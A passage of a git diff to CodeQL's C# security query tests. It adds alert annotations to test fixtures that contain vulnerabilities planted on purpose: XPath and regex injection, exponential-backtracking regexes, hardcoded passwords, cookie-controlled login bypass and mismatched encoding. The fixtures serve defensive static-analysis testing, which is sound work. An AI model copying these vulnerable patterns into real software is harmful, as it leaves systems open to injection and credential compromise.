a/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.cs @@ -8,16 +8,16 @@ public class XPathInjectionHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - string userName = ctx.Request.QueryString["userName"]; - string password = ctx.Request.QueryString["password"]; + string userName = ctx.Request.QueryString["userName"]; // $ Source[cs/xml/xpath-injection]=r1 $ Source[cs/xml/xpath-injection]=r3 $ Source[cs/xml/xpath-injection]=r5 $ Source[cs/xml/xpath-injection]=r7 $ Source[cs/xml/xpath-injection]=r9 $ Source[cs/xml/xpath-injection]=r11 $ Source[cs/xml/xpath-injection]=r13 + string password = ctx.Request.QueryString["password"]; // $ Source[cs/xml/xpath-injection]=r2 $ Source[cs/xml/xpath-injection]=r4 $ Source[cs/xml/xpath-injection]=r6 $ Source[cs/xml/xpath-injection]=r8 $ Source[cs/xml/xpath-injection]=r10 $ Source[cs/xml/xpath-injection]=r12 $ Source[cs/xml/xpath-injection]=r14 var s = "//users/user[login/text()='" + userName + "' and password/text() = '" + password + "']/home_dir/text()"; // BAD: User input used directly in an XPath expression - XPathExpression.Compile(s); + XPathExpression.Compile(s); // $ Alert[cs/xml/xpath-injection]=r1 $ Alert[cs/xml/xpath-injection]=r2 XmlNode xmlNode = null; // BAD: User input used directly in an XPath expression to SelectNodes - xmlNode.SelectNodes(s); + xmlNode.SelectNodes(s); // $ Alert[cs/xml/xpath-injection]=r3 $ Alert[cs/xml/xpath-injection]=r4 // GOOD: Uses parameters to avoid including user input directly in XPath expression var expr = XPathExpression.Compile("//users/user[login/text()=$username]/home_dir/text()"); @@ -26,31 +26,31 @@ public void ProcessRequest(HttpContext ctx) var nav = doc.CreateNavigator(); // BAD - nav.Select(s); + nav.Select(s); // $ Alert[cs/xml/xpath-injection]=r5 $ Alert[cs/xml/xpath-injection]=r6 // GOOD nav.Select(expr); // BAD - nav.SelectSingleNode(s); + nav.SelectSingleNode(s); // $ Alert[cs/xml/xpath-injection]=r7 $ Alert[cs/xml/xpath-injection]=r8 // GOOD nav.SelectSingleNode(expr); // BAD - nav.Compile(s); + nav.Compile(s); // $ Alert[cs/xml/xpath-injection]=r9 $ Alert[cs/xml/xpath-injection]=r10 // GOOD nav.Compile("//users/user[login/text()=$username]/home_dir/text()"); // BAD - nav.Evaluate(s); + nav.Evaluate(s); // $ Alert[cs/xml/xpath-injection]=r11 $ Alert[cs/xml/xpath-injection]=r12 // Good nav.Evaluate(expr); // BAD - nav.Matches(s); + nav.Matches(s); // $ Alert[cs/xml/xpath-injection]=r13 $ Alert[cs/xml/xpath-injection]=r14 // GOOD nav.Matches(expr); @@ -71,17 +71,17 @@ public void ProcessStoredRequest() { connection.Open(); SqlCommand customerCommand = new SqlCommand("SELECT * FROM customers", connection); - SqlDataReader customerReader = customerCommand.ExecuteReader(); + SqlDataReader customerReader = customerCommand.ExecuteReader(); // $ Source[cs/xml/xpath-injection]=r15 $ Source[cs/xml/xpath-injection]=r16 while (customerReader.Read()) { string userName = customerReader.GetString(1); string password = customerReader.GetString(2); // BAD: User input used directly in an XPath expression - XPathExpression.Compile("//users/user[login/text()='" + userName + "' and password/text() = '" + password + "']/home_dir/text()"); + XPathExpression.Compile("//users/user[login/text()='" + userName + "' and password/text() = '" + password + "']/home_dir/text()"); // $ Alert[cs/xml/xpath-injection]=r15 XmlNode xmlNode = null; // BAD: User input used directly in an XPath expression to SelectNodes - xmlNode.SelectNodes("//users/user[login/text()='" + userName + "' and password/text() = '" + password + "']/home_dir/text()"); + xmlNode.SelectNodes("//users/user[login/text()='" + userName + "' and password/text() = '" + password + "']/home_dir/text()"); // $ Alert[cs/xml/xpath-injection]=r16 // GOOD: Uses parameters to avoid including user input directly in XPath expression XPathExpression.Compile("//users/user[login/text()=$username]/home_dir/text()"); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.qlref index a0cdca4727ae..9ffeeb3a2929 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-643/XPathInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ExponentialRegex.cs b/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ExponentialRegex.cs index b54b3bbdf81f..30d706fb7f17 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ExponentialRegex.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ExponentialRegex.cs @@ -8,20 +8,20 @@ public class RegexHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - string userInput = ctx.Request.QueryString["userInput"]; + string userInput = ctx.Request.QueryString["userInput"]; // $ Source[cs/redos]=r1 $ Source[cs/redos]=r2 $ Source[cs/redos]=r3 $ Source[cs/redos]=r4 $ Source[cs/redos]=r5 // BAD: // Artificial regexes - new Regex("^([a-z]+)+$").Match(userInput); - new Regex("^([a-z]*)*$").Replace(userInput, ""); + new Regex("^([a-z]+)+$").Match(userInput); // $ Alert[cs/redos]=r1 + new Regex("^([a-z]*)*$").Replace(userInput, ""); // $ Alert[cs/redos]=r2 // Known exponential blowup regex for e-mail address validation // Problematic part is: ([a-zA-Z0-9]+))* - new Regex("^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$").Match(userInput); + new Regex("^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$").Match(userInput); // $ Alert[cs/redos]=r3 // Known exponential blowup regex for Java class name validation // Problematic part is: (([a-z])+.)+ - new Regex(JAVA_CLASS_REGEX).Match(userInput); + new Regex(JAVA_CLASS_REGEX).Match(userInput); // $ Alert[cs/redos]=r4 // Static use - Regex.Match(userInput, JAVA_CLASS_REGEX); + Regex.Match(userInput, JAVA_CLASS_REGEX); // $ Alert[cs/redos]=r5 // GOOD: new Regex("^(([a-b]+[c-z]+)+$").Match(userInput); new Regex("^([a-z]+)+$", RegexOptions.IgnoreCase, TimeSpan.FromSeconds(1)).Match(userInput); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ReDoS.qlref b/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ReDoS.qlref index de8c70102e05..e3f22da0ebeb 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ReDoS.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoS/ReDoS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-730/ReDoS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoSGlobalTimeout/ReDoS.qlref b/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoSGlobalTimeout/ReDoS.qlref index de8c70102e05..e3f22da0ebeb 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoSGlobalTimeout/ReDoS.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-730/ReDoSGlobalTimeout/ReDoS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-730/ReDoS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.cs b/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.cs index d5f802a02687..877a029de660 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.cs @@ -7,11 +7,11 @@ public class RegexInjectionHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - string regex = ctx.Request.QueryString["regex"]; + string regex = ctx.Request.QueryString["regex"]; // $ Source[cs/regex-injection]=r1 string userInput = ctx.Request.QueryString["userInput"]; // BAD: User input used as regex - new Regex(regex).Match(userInput); + new Regex(regex).Match(userInput); // $ Alert[cs/regex-injection]=r1 // GOOD: User input escaped before being used as regex new Regex(Regex.Escape(regex)).Match(userInput); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.qlref index bec7fbac79a5..82cad8aeb6bd 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-730/RegexInjection/RegexInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-730/RegexInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedConnectionString.qlref b/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedConnectionString.qlref index d240503b7731..da05cee17d43 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedConnectionString.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedConnectionString.qlref @@ -1 +1,2 @@ -Security Features/CWE-798/HardcodedConnectionString.ql \ No newline at end of file +query: Security Features/CWE-798/HardcodedConnectionString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.cs b/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.cs index 840d65b19653..4a9bada259b2 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.cs @@ -13,7 +13,7 @@ public void ProcessRequest(HttpContext ctx) string password = ctx.Request.QueryString["password"]; // BAD: Inbound authentication made by comparison to string literal - if (password == "myPa55word") + if (password == "myPa55word") // $ Alert[cs/hardcoded-credentials] { ctx.Response.Redirect("login"); } @@ -29,7 +29,7 @@ public void ProcessRequest(HttpContext ctx) // BAD: Create a membership user with hardcoded username MembershipUser user = new MembershipUser( providerName: "provider", - name: "username", + name: "username", // $ Alert[cs/hardcoded-credentials] providerUserKey: "username", email: "foo@bar.com", passwordQuestion: "Hardcoded question.", @@ -43,18 +43,18 @@ public void ProcessRequest(HttpContext ctx) lastLockoutDate: DateTime.Now ); // BAD: Set the password to a hardcoded string literal - user.ChangePassword(password, "myNewPa55word"); + user.ChangePassword(password, "myNewPa55word"); // $ Alert[cs/hardcoded-credentials] - byte[] rawCertData = new byte[] { 0x20, 0x20, 0x20 }; + byte[] rawCertData = new byte[] { 0x20, 0x20, 0x20 }; // $ Alert[cs/hardcoded-credentials] // BAD: Passing a literal certificate and password to an X509 certificate constructor X509Certificate2 cert = new X509Certificate2( - rawCertData, - "myPa55word"); + rawCertData, // $ Sink[cs/hardcoded-credentials] + "myPa55word"); // $ Alert[cs/hardcoded-credentials] // BAD: Passing literal Password to connection string - SqlConnection conn = new SqlConnection("Password=12345"); + SqlConnection conn = new SqlConnection("Password=12345"); // $ Alert[cs/hardcoded-connection-string-credentials] // BAD: Passing literal User Id to connection string - SqlConnection conn2 = new SqlConnection("User Id=12345"); + SqlConnection conn2 = new SqlConnection("User Id=12345"); // $ Alert[cs/hardcoded-connection-string-credentials] // GOOD: Password is not specified literally SqlConnection conn3 = new SqlConnection("Password=" + LoadPasswordFromSecretConfig() + ";"); @@ -72,7 +72,7 @@ public void ProcessRequest(HttpContext ctx) conn = new SqlConnection($"Password={LoadPasswordFromSecretConfig()}"); // BAD: Hard-coded user - Membership.CreateUser("myusername", "mypassword"); + Membership.CreateUser("myusername", "mypassword"); // $ Alert[cs/hardcoded-credentials] var identityOptions = new IdentityOptions { diff --git a/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.qlref b/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.qlref index ce8fa7f9b286..d4792bd2fa24 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-798/HardcodedCredentials.qlref @@ -1 +1,2 @@ -Security Features/CWE-798/HardcodedCredentials.ql \ No newline at end of file +query: Security Features/CWE-798/HardcodedCredentials.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-798/TestHardcodedCredentials.cs b/csharp/ql/test/query-tests/Security Features/CWE-798/TestHardcodedCredentials.cs index fa6d6f2b98af..997c1b7db795 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-798/TestHardcodedCredentials.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-798/TestHardcodedCredentials.cs @@ -23,7 +23,7 @@ public void TestUnsafe() // BAD: Create a membership user with hardcoded username MembershipUser user = new MembershipUser( providerName: "provider", - name: "username", + name: "username", // $ Alert[cs/hardcoded-credentials] providerUserKey: "username", email: "foo@bar.com", passwordQuestion: "Hardcoded question.", diff --git a/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.cs b/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.cs index 7ab297fbb686..40b3806f71f2 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.cs @@ -9,22 +9,22 @@ public void ProcessRequest(HttpContext ctx) { string user = ctx.Request.QueryString["user"]; string password = ctx.Request.QueryString["password"]; - string isAdmin = ctx.Request.QueryString["isAdmin"]; + string isAdmin = ctx.Request.QueryString["isAdmin"]; // $ Source[cs/user-controlled-bypass]=r1 // BAD: login is only executed if isAdmin is false, but isAdmin // is controlled by the user - if (isAdmin == "false") + if (isAdmin == "false") // $ Alert[cs/user-controlled-bypass]=r1 login(user, password); - HttpCookie adminCookie = ctx.Request.Cookies["adminCookie"]; + HttpCookie adminCookie = ctx.Request.Cookies["adminCookie"]; // $ Source[cs/user-controlled-bypass]=r2 $ Source[cs/user-controlled-bypass]=r3 $ Source[cs/user-controlled-bypass]=r4 // BAD: login is only executed if the cookie value is false, but the cookie // is controlled by the user - if (adminCookie.Value.Equals("false")) + if (adminCookie.Value.Equals("false")) // $ Alert[cs/user-controlled-bypass]=r2 login(user, password); // FALSE POSITIVES: both methods are conditionally executed, but they probably // both perform the security-critical action - if (adminCookie.Value == "false") + if (adminCookie.Value == "false") // $ Alert[cs/user-controlled-bypass]=r3 $ Alert[cs/user-controlled-bypass]=r4 { login(user, password); } @@ -39,14 +39,14 @@ public void ProcessRequest(HttpContext ctx) // BAD: DNS may be controlled by the user IPAddress hostIPAddress = IPAddress.Parse("1.2.3.4"); - IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress); + IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress); // $ Source[cs/user-controlled-bypass]=r5 $ Source[cs/user-controlled-bypass]=r6 // Exact comparison - if (hostInfo.HostName == "trustme.com") + if (hostInfo.HostName == "trustme.com") // $ Alert[cs/user-controlled-bypass]=r5 { login(user, password); } // Substring comparison - if (hostInfo.HostName.EndsWith("trustme.com")) + if (hostInfo.HostName.EndsWith("trustme.com")) // $ Alert[cs/user-controlled-bypass]=r6 { login(user, password); } @@ -67,9 +67,9 @@ public static void Test(HttpContext ctx, String user, String password) public static void Test2(HttpContext ctx, String user, String password) { - HttpCookie adminCookie = ctx.Request.Cookies["adminCookie"]; + HttpCookie adminCookie = ctx.Request.Cookies["adminCookie"]; // $ Source[cs/user-controlled-bypass]=r7 // BAD: login may happen once or twice - if (adminCookie.Value == "false") + if (adminCookie.Value == "false") // $ Alert[cs/user-controlled-bypass]=r7 login(user, password); else { @@ -80,8 +80,8 @@ public static void Test2(HttpContext ctx, String user, String password) public static void Test3(HttpContext ctx, String user, String password) { - HttpCookie adminCookie = ctx.Request.Cookies["adminCookie"]; - if (adminCookie.Value == "false") + HttpCookie adminCookie = ctx.Request.Cookies["adminCookie"]; // $ Source[cs/user-controlled-bypass]=r8 + if (adminCookie.Value == "false") // $ Alert[cs/user-controlled-bypass]=r8 login(user, password); else { diff --git a/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.qlref b/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.qlref index b0c208da3481..fe01c7557afa 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-807/ConditionalBypass.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-807/ConditionalBypass.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-838/HtmlEncode.cs b/csharp/ql/test/query-tests/Security Features/CWE-838/HtmlEncode.cs index 8a5e378c8d13..66ad8fb4c1a4 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-838/HtmlEncode.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-838/HtmlEncode.cs @@ -7,7 +7,7 @@ public class HtmlEncode public static void Bad(HttpContext ctx) { var user = WebUtility.UrlDecode(ctx.Request.QueryString["user"]); - ctx.Response.Write("Hello, " + WebUtility.UrlEncode(user)); + ctx.Response.Write("Hello, " + WebUtility.UrlEncode(user)); // $ Alert[cs/inappropriate-encoding]=r1 $ Alert[cs/inappropriate-encoding]=r1 } public static void Good(HttpContext ctx) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.cs b/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.cs index 637988ddc84d..5a9bfd554965 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.cs @@ -10,12 +10,12 @@ public class InappropriateEncoding { public void Sql(string value) { - var encodedValue = Encode(value); + var encodedValue = Encode(value); // $ Source[cs/inappropriate-encoding]=r2 using (var connection = new SqlConnection("")) { var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + encodedValue + "' ORDER BY PRICE"; // BAD - var adapter = new SqlDataAdapter(query1, connection); + var adapter = new SqlDataAdapter(query1, connection); // $ Alert[cs/inappropriate-encoding]=r2 $ Alert[cs/inappropriate-encoding]=r3 var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=@category ORDER BY PRICE"; // GOOD @@ -28,13 +28,13 @@ public void Sql(string value) public void Html(string value, Label label, System.Windows.Forms.HtmlElement html) { // BAD - label.Text = Encode(value); - label.Text = HttpUtility.UrlEncode(value); - label.Text = HttpUtility.UrlEncode(HttpUtility.HtmlEncode(value)); - var encodedValue = HttpUtility.UrlEncode(value); - html.SetAttribute("a", encodedValue); - label.Text = ""; - label.Text = string.Format("", encodedValue); + label.Text = Encode(value); // $ Alert[cs/inappropriate-encoding]=r4 $ Alert[cs/inappropriate-encoding]=r4 + label.Text = HttpUtility.UrlEncode(value); // $ Alert[cs/inappropriate-encoding]=r5 $ Alert[cs/inappropriate-encoding]=r5 + label.Text = HttpUtility.UrlEncode(HttpUtility.HtmlEncode(value)); // $ Alert[cs/inappropriate-encoding]=r6 $ Alert[cs/inappropriate-encoding]=r6 + var encodedValue = HttpUtility.UrlEncode(value); // $ Source[cs/inappropriate-encoding]=r7 $ Source[cs/inappropriate-encoding]=r8 $ Source[cs/inappropriate-encoding]=r9 + html.SetAttribute("a", encodedValue); // $ Alert[cs/inappropriate-encoding]=r7 + label.Text = ""; // $ Alert[cs/inappropriate-encoding]=r8 + label.Text = string.Format("", encodedValue); // $ Alert[cs/inappropriate-encoding]=r9 // GOOD label.Text = HttpUtility.HtmlEncode(value); @@ -52,8 +52,8 @@ public void Html(string value, Label label, System.Windows.Forms.HtmlElement htm public void Url(string value, HttpServerUtility util, HttpContext ctx) { // BAD - var encodedValue = HttpUtility.HtmlEncode(value); - ctx.Response.Redirect(encodedValue); + var encodedValue = HttpUtility.HtmlEncode(value); // $ Source[cs/inappropriate-encoding]=r10 + ctx.Response.Redirect(encodedValue); // $ Alert[cs/inappropriate-encoding]=r10 // GOOD ctx.Response.Redirect(HttpUtility.UrlEncode(encodedValue)); @@ -63,6 +63,6 @@ public void Url(string value, HttpServerUtility util, HttpContext ctx) static string Encode(string value) { - return value.Replace("\"", "\\\""); + return value.Replace("\"", "\\\""); // $ Source[cs/inappropriate-encoding]=r3 } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.qlref b/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.qlref index d70d82f47195..99348351479a 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-838/InappropriateEncoding.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-838/InappropriateEncoding.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-838/SqlEncode.cs b/csharp/ql/test/query-tests/Security Features/CWE-838/SqlEncode.cs index dd3731cb1613..1e55ade7a9de 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-838/SqlEncode.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-838/SqlEncode.cs @@ -11,8 +11,8 @@ public static DataSet Bad(HttpContext ctx) var user = WebUtility.UrlDecode(ctx.Request.QueryString["user"]); using (var connection = new SqlConnection("")) { - var query = "select * from Users where Name='" + user.Replace("\"", "\"\"") + "'"; - var adapter = new SqlDataAdapter(query, connection); + var query = "select * from Users where Name='" + user.Replace("\"", "\"\"") + "'"; // $ Source[cs/inappropriate-encoding]=r11 + var adapter = new SqlDataAdapter(query, connection); // $ Alert[cs/inappropriate-encoding]=r11 var result = new DataSet(); adapter.Fill(result); return result; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-838/UrlEncode.cs b/csharp/ql/test/query-tests/Security Features/CWE-838/UrlEncode.cs index c43ec2b675a8..303a807a577d 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-838/UrlEncode.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-838/UrlEncode.cs @@ -7,7 +7,7 @@ public class UrlEncode public static void Bad(string value, HttpContext ctx) { var user = WebUtility.UrlDecode(ctx.Request.QueryString["user"]); - ctx.Response.Redirect("?param=" + WebUtility.HtmlEncode(user)); + ctx.Response.Redirect("?param=" + WebUtility.HtmlEncode(user)); // $ Alert[cs/inappropriate-encoding]=r12 $ Alert[cs/inappropriate-encoding]=r12 } public static void Good(string value, HttpContext ctx) diff --git a/csharp/ql/test/query-tests/Telemetry/LibraryUsage/ExternalLibraryUsage.qlref b/csharp/ql/test/query-tests/Telemetry/LibraryUsage/ExternalLibraryUsage.qlref index 98a6202f3eb5..918fe540c3bc 100644 --- a/csharp/ql/test/query-tests/Telemetry/LibraryUsage/ExternalLibraryUsage.qlref +++ b/csharp/ql/test/query-tests/Telemetry/LibraryUsage/ExternalLibraryUsage.qlref @@ -1 +1 @@ -Telemetry/ExternalLibraryUsage.ql +query: Telemetry/ExternalLibraryUsage.ql diff --git a/csharp/ql/test/query-tests/Telemetry/LibraryUsage/SupportedExternalTaint.qlref b/csharp/ql/test/query-tests/Telemetry/LibraryUsage/SupportedExternalTaint.qlref index ef9ddfadc00d..a8f8f4965efe 100644 --- a/csharp/ql/test/query-tests/Telemetry/LibraryUsage/SupportedExternalTaint.qlref +++ b/csharp/ql/test/query-tests/Telemetry/LibraryUsage/SupportedExternalTaint.qlref @@ -1 +1 @@ -Telemetry/SupportedExternalTaint.ql +query: Telemetry/SupportedExternalTaint.ql diff --git a/csharp/ql/test/query-tests/Telemetry/LibraryUsage/UnsupportedExternalAPIs.qlref b/csharp/ql/test/query-tests/Telemetry/LibraryUsage/UnsupportedExternalAPIs.qlref index b89f0a48e2e6..da704d4cbbe9 100644 --- a/csharp/ql/test/query-tests/Telemetry/LibraryUsage/UnsupportedExternalAPIs.qlref +++ b/csharp/ql/test/query-tests/Telemetry/LibraryUsage/UnsupportedExternalAPIs.qlref @@ -1 +1 @@ -Telemetry/UnsupportedExternalAPIs.ql +query: Telemetry/UnsupportedExternalAPIs.ql diff --git a/csharp/ql/test/query-tests/Telemetry/SupportedExternalApis/SupportedExternalApis.qlref b/csharp/ql/test/query-tests/Telemetry/SupportedExternalApis/SupportedExternalApis.qlref index 2e12499cf62b..f3e231b8a7aa 100644 --- a/csharp/ql/test/query-tests/Telemetry/SupportedExternalApis/SupportedExternalApis.qlref +++ b/csharp/ql/test/query-tests/Telemetry/SupportedExternalApis/SupportedExternalApis.qlref @@ -1 +1 @@ -Telemetry/SupportedExternalApis.ql +query: Telemetry/SupportedExternalApis.ql diff --git a/csharp/ql/test/query-tests/Telemetry/SupportedExternalSinks/SupportedExternalSinks.qlref b/csharp/ql/test/query-tests/Telemetry/SupportedExternalSinks/SupportedExternalSinks.qlref index e8bd57fad506..d454ef226b9d 100644 --- a/csharp/ql/test/query-tests/Telemetry/SupportedExternalSinks/SupportedExternalSinks.qlref +++ b/csharp/ql/test/query-tests/Telemetry/SupportedExternalSinks/SupportedExternalSinks.qlref @@ -1 +1 @@ -Telemetry/SupportedExternalSinks.ql \ No newline at end of file +query: Telemetry/SupportedExternalSinks.ql diff --git a/csharp/ql/test/query-tests/Telemetry/SupportedExternalSources/SupportedExternalSources.qlref b/csharp/ql/test/query-tests/Telemetry/SupportedExternalSources/SupportedExternalSources.qlref index c6819c7775f4..f6f3f1b972d1 100644 --- a/csharp/ql/test/query-tests/Telemetry/SupportedExternalSources/SupportedExternalSources.qlref +++ b/csharp/ql/test/query-tests/Telemetry/SupportedExternalSources/SupportedExternalSources.qlref @@ -1 +1 @@ -Telemetry/SupportedExternalSources.ql +query: Telemetry/SupportedExternalSources.ql diff --git a/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.cs b/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.cs index aabe43f2258d..bb6bf7e264bf 100644 --- a/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.cs +++ b/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.cs @@ -6,12 +6,12 @@ class Program bool Prop1 { - set { x = true; } // BAD + set { x = true; } // BAD // $ Alert } bool Prop2 { - set { } // BAD + set { } // BAD // $ Alert } bool Prop3 @@ -55,7 +55,7 @@ class C3 : C2 { public bool Prop1 { - set { } // BAD: not override + set { } // BAD: not override // $ Alert } public override bool Prop2 diff --git a/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.qlref b/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.qlref index 199133fb534c..ca84e54c8278 100644 --- a/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.qlref +++ b/csharp/ql/test/query-tests/UnusedPropertyValue/UnusedPropertyValue.qlref @@ -1 +1,2 @@ -Language Abuse/UnusedPropertyValue.ql \ No newline at end of file +query: Language Abuse/UnusedPropertyValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/UseBraces/UseBraces.cs b/csharp/ql/test/query-tests/UseBraces/UseBraces.cs index c6036255062d..d5abf8fb90cc 100644 --- a/csharp/ql/test/query-tests/UseBraces/UseBraces.cs +++ b/csharp/ql/test/query-tests/UseBraces/UseBraces.cs @@ -29,7 +29,7 @@ static void Main(string[] args) g(); // BAD if (1 == 1) - f(); g(); // BAD + f(); g(); // BAD // $ Alert // If-then-else statement @@ -63,7 +63,7 @@ static void Main(string[] args) f(); } else - f(); g(); // BAD + f(); g(); // BAD // $ Alert // While statement @@ -83,7 +83,7 @@ static void Main(string[] args) g(); // GOOD while (x > 1) - f(); g(); // BAD + f(); g(); // BAD // $ Alert while (x > 1) if (x != null) x = 1; @@ -111,7 +111,7 @@ static void Main(string[] args) g(); // BAD for (int i = 0; i < 10; ++i) - f(); g(); // BAD + f(); g(); // BAD // $ Alert // Foreach statement @@ -130,7 +130,7 @@ static void Main(string[] args) g(); // BAD foreach (var b in branches) - f(); g(); // BAD + f(); g(); // BAD // $ Alert // Nested ifs if (x > 1) diff --git a/csharp/ql/test/query-tests/UseBraces/UseBraces.qlref b/csharp/ql/test/query-tests/UseBraces/UseBraces.qlref index 5d1d4a063882..e89389461d72 100644 --- a/csharp/ql/test/query-tests/UseBraces/UseBraces.qlref +++ b/csharp/ql/test/query-tests/UseBraces/UseBraces.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/UseBraces.ql +query: Likely Bugs/Statements/UseBraces.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.cs b/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.cs index 